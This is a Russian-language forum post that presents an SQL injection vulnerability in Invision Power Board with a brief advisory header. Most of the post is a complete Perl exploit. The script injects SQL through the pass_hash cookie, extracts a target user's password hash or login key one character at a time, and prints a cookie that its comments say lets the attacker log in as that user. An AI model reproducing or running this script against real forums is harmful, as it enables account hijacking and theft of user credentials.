Показать сообщение отдельно

  #2  
Старый 03.11.2006, 17:30
-SMith-
Познающий
Регистрация: 18.09.2006
Сообщений: 74
Провел на форуме:
447398

Репутация: 36
По умолчанию

SQL-Injection в Invision Power Board
Уязвимые версии: все
Степень опасности: высокая
Описание: Возможен посимвольный перебор в базе данных пользователей. С чем успешно справляется эксплоит, выдавая хеш заданного пользователя.

Эксплоит:


Код:
 #!/usr/bin/perl -w   ##################################################################   # This one actually works :) Just paste the outputted cookie into   # your request header using livehttpheaders or something and you   # will probably be logged in as that user. No need to decrypt it!   # Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org   ##################################################################     use LWP::UserAgent;        $ua = new LWP::UserAgent;      $ua->agent("Mosiac 1.0" . $ua->agent);     if (!$ARGV[0]) {$ARGV[0] = '';}   if (!$ARGV[3]) {$ARGV[3] = '';}     my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';   my $user = $ARGV[1];   # userid to jack   my $iver = $ARGV[2];   # version 1 or 2   my $cpre = "";#$ARGV[3];   # cookie prefix   my $dbug ="";#$ARGV[4];   # debug?   my $lang=$ARGV[3]; # eng/rus    if (!$ARGV[2])   {           print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver   1/2] [lang=eng/rus].\n\n";           exit;   }     my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");     my $outputs = '';     print "Using lang=$lang\n";  print "      \t[ 0 1 2 3 4 5 6 7 8 9 a b c d e f ]\n";  	   for( $i=1; $i < 33; $i++ )   {           print "Dig  $i\t[ ";          for( $j=0; $j < 16; $j++ )           {                   my $current = $charset[$j];               my $sql = ( $iver >2 ) ?    "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :   "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";                   my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre .   "pass_hash=" . $sql);                   my $res = $ua->get($path, @cookie);                     # If we get a valid sql request then this                   # does not appear anywhere in the sources                   if($lang eq "rus")                  { $pattern = '<title>(.*)Вход(.*)</title>'; }                  #add your languages here                  else                  { $pattern = '<title>(.*)Log In(.*)</title>'; }                                      $_ = $res->content;     #                if ($dbug) { print };                     if ( !(/$pattern/) )                   {                           $outputs .= $current;                           print "$current ";                           last;                   }                   else {print ". ";}#print" Attempt #$current failed\n";}    	}   	print "\n";    if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }   }   print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;   exit;
Производитель: Invision Board
Источник: SecurityLab

Последний раз редактировалось -SMith-; 03.11.2006 в 17:32..